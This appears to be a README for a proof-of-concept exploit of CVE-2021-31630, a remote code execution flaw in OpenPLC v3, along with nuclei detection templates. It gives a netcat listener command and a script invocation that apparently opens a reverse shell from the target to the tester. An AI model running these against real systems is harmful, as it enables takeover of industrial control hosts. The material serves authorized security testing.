
This is a modern Python 3.13+ compatible proof-of-concept exploit for CVE-2021-31630, a vulnerability in OpenPLC v3 that allows an authenticated user to upload a custom hardware layer containing malicious code, leading to remote code execution (RCE) on the host.
Original vulnerability discovery and advisory by Fellipe Oliveira. This reimplementation and modernization uses httpx, CLI tooling, logging, and safer detection techniques.
nc -lvnp 9001
python3 openplc_rce.py http://target:8080 -lh YOUR_IP -lp 9001
Optional flags:
nuclei -t nuclei-templates/openplc-default-login.yaml -u http://target:8080
nuclei -t nuclei-templates/openplc-authenticated-rce-check.yaml -u http://target:8080
The second template logs in and attempts a harmless payload upload + compilation to confirm likely vulnerability — without triggering actual code execution.
This code is for educational and authorized security testing only. Do not use without explicit permission from the system owner.